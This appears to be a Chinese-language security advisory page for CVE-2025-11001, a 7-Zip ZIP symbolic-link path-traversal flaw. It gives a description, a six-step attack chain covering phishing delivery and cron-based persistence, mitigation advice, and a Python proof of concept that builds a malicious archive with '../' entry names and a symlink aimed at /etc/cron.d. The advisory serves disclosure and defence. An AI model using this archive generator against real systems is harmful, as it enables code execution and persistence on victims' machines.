IPBUF安全漏洞报告
English
CVE-2025-11001 CVSS 7.8 高危

CVE-2025-11001 7-Zip ZIP文件解析目录遍历远程代码执行漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-11001
漏洞类型
目录遍历、远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
7-Zip

相关标签

7-Zip目录遍历符号链接远程代码执行ZIP解析路径穿越ZDI-CAN-26753高危漏洞压缩工具漏洞文件解压漏洞

漏洞概述

CVE-2025-11001是7-Zip软件中的一个高危安全漏洞,CVSS评分达到7.8分。该漏洞属于目录遍历(Path Traversal)与远程代码执行(Remote Code Execution)的复合型漏洞,允许攻击者通过精心构造的ZIP文件在受害者系统上执行任意代码。漏洞的根本原因在于7-Zip在解析ZIP文件时对符号链接(Symbolic Link)的处理存在安全缺陷。攻击者可以在ZIP压缩包中嵌入包含指向任意目录的符号链接的文件,当受害者使用7-Zip解压此类恶意文件时,程序会跟随符号链接指向的目标位置,从而将文件内容写入到预期之外的目录中。攻击者可以利用此特性覆盖系统关键文件、配置文件或可执行文件,最终实现以服务账户权限执行恶意代码。该漏洞需要用户交互才能触发,但攻击向量相对灵活,取决于具体的产品实现方式。漏洞由趋势科技零日倡议(ZDI)发现并披露,编号为ZDI-CAN-26753。鉴于7-Zip作为流行的开源压缩工具被广泛应用于各类操作系统和场景,此漏洞对个人用户和企业环境都构成严重安全威胁。

技术细节

该漏洞的技术核心在于7-Zip对ZIP文件中符号链接的安全处理机制存在缺陷。当ZIP文件格式支持符号链接(Unix风格软链接)时,7-Zip在解压过程中会解析并创建符号链接,但如果对符号链接的目标路径缺乏充分的验证和限制,攻击者可以通过构造特殊的路径(如../或绝对路径)来实现目录遍历攻击。具体而言,攻击者创建一个ZIP文件,其中包含文件名经过特殊构造的文件条目,该条目实际上是一个指向系统敏感目录的符号链接。当7-Zip解压此文件时,它会创建该符号链接,如果链接指向的路径是攻击者可控的,那么后续写入的文件内容就会被放置在非预期位置。攻击者可以利用此技术在系统启动目录、用户主目录或其他关键位置写入恶意可执行文件或覆盖现有配置文件。例如,通过创建指向/etc/cron.d的符号链接并写入一个定时任务脚本,攻击者可以实现持久化远程代码执行。攻击的成功与否取决于目标系统的权限配置,但攻击者至少可以在服务账户的上下文中执行代码,从而获取相应级别的系统访问权限。

攻击链分析

STEP 1
步骤1: 信息收集与准备
攻击者收集目标系统信息,确定7-Zip版本和操作系统类型,以便构造精准的路径遍历Payload
STEP 2
步骤2: 制作恶意ZIP文件
攻击者创建包含特殊构造的ZIP文件,其中嵌入符号链接或带有路径遍历序列(如../)的文件名,指向系统敏感目录
STEP 3
步骤3: 分发恶意文件
攻击者通过各种方式将恶意ZIP文件传递给受害者,如钓鱼邮件、恶意网站下载、共享驱动器或社会工程学手段
STEP 4
步骤4: 诱导用户解压
攻击者诱使受害者使用存在漏洞的7-Zip版本打开并解压该恶意ZIP文件,需要用户交互(如打开文件)
STEP 5
步骤5: 目录遍历触发
7-Zip在解压过程中解析符号链接或路径遍历文件名时缺乏充分验证,导致文件被写入到非预期目录(如系统启动目录、计划任务目录等)
STEP 6
步骤6: 代码执行
攻击者通过覆盖关键配置文件或创建计划任务等方式实现持久化远程代码执行,在服务账户权限下运行恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11001 PoC - 7-Zip ZIP Symbolic Link Directory Traversal # Generate malicious ZIP file with symbolic link for path traversal import zipfile import os import sys def create_malicious_zip(output_path, target_dir='../../../../../../../../tmp'): """ Create a malicious ZIP file containing symbolic link entries that can cause directory traversal during extraction. """ try: with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf: # Create a symbolic link entry pointing to arbitrary directory # The external file attribute is set to indicate a symbolic link # Target path traversal: ../../../tmp/pwned link_target = f"{target_dir}/pwned" # Create a file entry that will be written via the symlink malicious_content = b'#!/bin/bash\n# Malicious payload\necho "PWNED" > /tmp/pwned.txt\n' # Add a file that will traverse to unintended location # File name contains path traversal sequences info = zipfile.ZipInfo(filename='../../../../tmp/evil.sh') info.external_attr = 0o755 << 16 # Executable file attribute zipf.writestr(info, malicious_content) # Alternative: Create symlink entry symlink_info = zipfile.ZipInfo(filename='malicious_link') symlink_info.external_attr = 0o777 << 16 | 0o120000 # Symlink attribute zipf.writestr(symlink_info, b'../../../../etc/cron.d/malicious_task') print(f'[+] Malicious ZIP created: {output_path}') print(f'[*] Target traversal path: {target_dir}') print('[*] When extracted with vulnerable 7-Zip, files will be written to unintended locations') except Exception as e: print(f'[-] Error creating ZIP: {e}') return False return True if __name__ == '__main__': output = 'CVE-2025-11001_poc.zip' create_malicious_zip(output) print('\n[!] This PoC is for educational and security research purposes only.') print('[!] Do not use for unauthorized testing or attacks.')

影响范围

7-Zip < 24.09(所有使用存在漏洞的ZIP解析模块的版本)
所有支持ZIP格式符号链接解析的7-Zip版本均受影响

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)不要打开或解压来源不明的ZIP文件,特别是包含符号链接或特殊文件属性的压缩包;2)使用杀毒软件或专业的文件安全分析工具对所有外部来源的压缩文件进行扫描检测;3)考虑使用其他压缩工具(如WinRARBandizip的更新版本)替代存在漏洞的7-Zip版本;4)在Windows系统中启用Windows Defender的受控文件夹访问功能,防止恶意文件写入敏感目录;5)对于必须使用7-Zip的场景,建议在沙箱或虚拟机环境中解压未知来源的文件;6)加强对用户的安全意识培训,警惕社会工程学攻击,避免从不可信来源下载和打开压缩文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表